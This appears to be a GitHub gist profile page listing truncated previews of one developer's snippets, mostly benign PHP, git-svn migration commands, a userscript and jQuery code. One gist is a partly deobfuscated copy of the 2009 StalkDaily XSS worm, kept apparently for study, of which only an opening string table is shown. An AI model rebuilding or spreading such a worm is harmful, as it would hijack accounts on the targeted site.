Skip to content

Instantly share code, notes, and snippets.

View voxpelli's full-sized avatar

Pelle Wessman voxpelli

View GitHub Profile
if (get_magic_quotes_gpc()) {
function strip_the_slashes($array) {
foreach($array as $key => $value) {
if (is_array($value)) {
$value = strip_the_slashes($value);
} else {
$value = stripslashes($value);
}
$array[$key] = $value;
}
mysql_query('SET NAMES utf8');
mysql_query('SET CHARACTER SET utf8');
git svn init --trunk=trunk/ --branches=branches/ --tags=tags/ --no-metadata http://svn.example.com/ target_tmp_path
git config svn.authorsfile svn_users.txt
git svn fetch
git branch -m master tmp-5.x-0.x
git checkout -b master trunk
git tag 5.x-0.1 fa50b543e4570b5bd3197b301485b2d3ff88ccdd
cd ..
git clone target_tmp_path target_path
@voxpelli
voxpelli / stalkdaily_worm.js
Created April 13, 2009 10:22 — forked from imajes/current 'stalkdaily' xss attack
Current fourth(?) generation StalkDaily worm - partly unobfuscated
var _strings = [
"Msxml2.XMLHTTP", //0 0x0
"Microsoft.XMLHTTP",
"connect",
"toUpperCase",
"GET",
"?", //5 0x5
"open",
"",
"Method",
// ==UserScript==
// @name Localhost
// @namespace Perifer
// @include http://*.local/*
// ==/UserScript==
/*
Displays a bagde when surfing .local pages.
*/
<?php
/**
* Implementation of hook_nodeapi().
*/
function foobar_nodeapi(&$node, $op, $a3 = NULL, $a4 = NULL) {
switch ($op) {
case 'presave':
$node->language = '';
break;
}
<?php
// Smart summaries that only cuts where there's a space.
$content ="Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nula. pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Lorem ipsum dolor sit amet, consectetur adipisicing elit
<?php
if ($you->isGeekGirl()) {
$extraPoints += 10;
}
@voxpelli
voxpelli / humanizedLite.js
Created March 11, 2010 10:39
A humanized message inspired little jQuery snippet
var humanizedLite = function (elem, speed) {
setTimeout(function () {
$(document).one('mousemove', function () {
elem.slideUp(speed ? speed : 400, function () {
elem.remove();
});
});
}, 1500);
};